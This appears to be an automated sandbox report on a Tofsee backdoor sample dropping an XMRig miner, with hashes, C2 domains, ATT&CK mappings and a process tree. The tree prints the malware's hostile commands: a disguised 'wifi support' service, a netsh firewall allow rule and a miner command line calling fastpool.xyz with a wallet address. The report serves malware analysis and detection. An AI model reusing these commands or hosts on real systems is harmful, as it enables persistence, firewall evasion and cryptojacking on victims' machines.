Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    04-06-2022 20:21

General

  • Target

    af1f0e613af0ddbe868587f666e84eb28732062c2ee32744d7a801f3b223c26a.exe

  • Size

    200KB

  • MD5

    cc8229fba3e64720105b147bc8a05def

  • SHA1

    0ec0f40b062b6e8cd56a3863441b9701826c08c5

  • SHA256

    af1f0e613af0ddbe868587f666e84eb28732062c2ee32744d7a801f3b223c26a

  • SHA512

    6d8c9c5d0d029fbdc028626d717b9f7b707a7c52b41f57cc372dc2204ff8e009c2ba5826b419e50b6267bd636d646ac66da0be58c61c347d92571701ac31937a

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\af1f0e613af0ddbe868587f666e84eb28732062c2ee32744d7a801f3b223c26a.exe
    "C:\Users\Admin\AppData\Local\Temp\af1f0e613af0ddbe868587f666e84eb28732062c2ee32744d7a801f3b223c26a.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4760
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\slqjhqmj\
      2⤵
        PID:2736
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\wvzxtzar.exe" C:\Windows\SysWOW64\slqjhqmj\
        2⤵
          PID:1280
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create slqjhqmj binPath= "C:\Windows\SysWOW64\slqjhqmj\wvzxtzar.exe /d\"C:\Users\Admin\AppData\Local\Temp\af1f0e613af0ddbe868587f666e84eb28732062c2ee32744d7a801f3b223c26a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2172
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description slqjhqmj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start slqjhqmj
          2⤵
          • Launches sc.exe
          PID:3432
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3960
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4760 -s 664
          2⤵
          • Program crash
          PID:2212
      • C:\Windows\SysWOW64\slqjhqmj\wvzxtzar.exe
        C:\Windows\SysWOW64\slqjhqmj\wvzxtzar.exe /d"C:\Users\Admin\AppData\Local\Temp\af1f0e613af0ddbe868587f666e84eb28732062c2ee32744d7a801f3b223c26a.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3092
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:752
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2128
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3092 -s 556
          2⤵
          • Program crash
          PID:3956
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4760 -ip 4760
        1⤵
          PID:4244
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3092 -ip 3092
          1⤵
            PID:3020

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\wvzxtzar.exe
            Filesize

            10.4MB

            MD5

            0ebfe11978fd043f881f4685601e4eb1

            SHA1

            57bcaa653b00b4e1b974978c1bfd4b910a3a8bba

            SHA256

            8f87755ab0b8df9cbaa21d5749dbd0fc8084d7e4182223f6371d5beb10a30f3c

            SHA512

            e31c149a9dcc82d0992e031806e672cf362584d002c5b9d6f2ab00080333c132e51cc2408b8f790c1501fc29140c1a8a4c95c5fc2240256af39ea12736d67ffd

          • C:\Windows\SysWOW64\slqjhqmj\wvzxtzar.exe
            Filesize

            10.4MB

            MD5

            0ebfe11978fd043f881f4685601e4eb1

            SHA1

            57bcaa653b00b4e1b974978c1bfd4b910a3a8bba

            SHA256

            8f87755ab0b8df9cbaa21d5749dbd0fc8084d7e4182223f6371d5beb10a30f3c

            SHA512

            e31c149a9dcc82d0992e031806e672cf362584d002c5b9d6f2ab00080333c132e51cc2408b8f790c1501fc29140c1a8a4c95c5fc2240256af39ea12736d67ffd

          • memory/752-155-0x0000000000FB0000-0x0000000000FB6000-memory.dmp
            Filesize

            24KB

          • memory/752-151-0x0000000000A60000-0x0000000000A75000-memory.dmp
            Filesize

            84KB

          • memory/752-144-0x0000000000000000-mapping.dmp
          • memory/752-145-0x0000000000A60000-0x0000000000A75000-memory.dmp
            Filesize

            84KB

          • memory/752-150-0x0000000000A60000-0x0000000000A75000-memory.dmp
            Filesize

            84KB

          • memory/752-158-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/752-167-0x0000000001DF0000-0x0000000001DF7000-memory.dmp
            Filesize

            28KB

          • memory/752-161-0x0000000001DE0000-0x0000000001DE5000-memory.dmp
            Filesize

            20KB

          • memory/752-152-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/752-164-0x0000000007780000-0x0000000007B8B000-memory.dmp
            Filesize

            4.0MB

          • memory/1280-134-0x0000000000000000-mapping.dmp
          • memory/2128-170-0x0000000000000000-mapping.dmp
          • memory/2128-171-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/2128-176-0x0000000001200000-0x00000000012F1000-memory.dmp
            Filesize

            964KB

          • memory/2172-136-0x0000000000000000-mapping.dmp
          • memory/2736-133-0x0000000000000000-mapping.dmp
          • memory/3092-143-0x00000000009BA000-0x00000000009C8000-memory.dmp
            Filesize

            56KB

          • memory/3092-149-0x00000000009BA000-0x00000000009C8000-memory.dmp
            Filesize

            56KB

          • memory/3092-148-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/3432-138-0x0000000000000000-mapping.dmp
          • memory/3960-140-0x0000000000000000-mapping.dmp
          • memory/4536-137-0x0000000000000000-mapping.dmp
          • memory/4760-131-0x0000000002640000-0x0000000002653000-memory.dmp
            Filesize

            76KB

          • memory/4760-130-0x0000000000BBF000-0x0000000000BCD000-memory.dmp
            Filesize

            56KB

          • memory/4760-142-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/4760-141-0x0000000000BBF000-0x0000000000BCD000-memory.dmp
            Filesize

            56KB

          • memory/4760-132-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB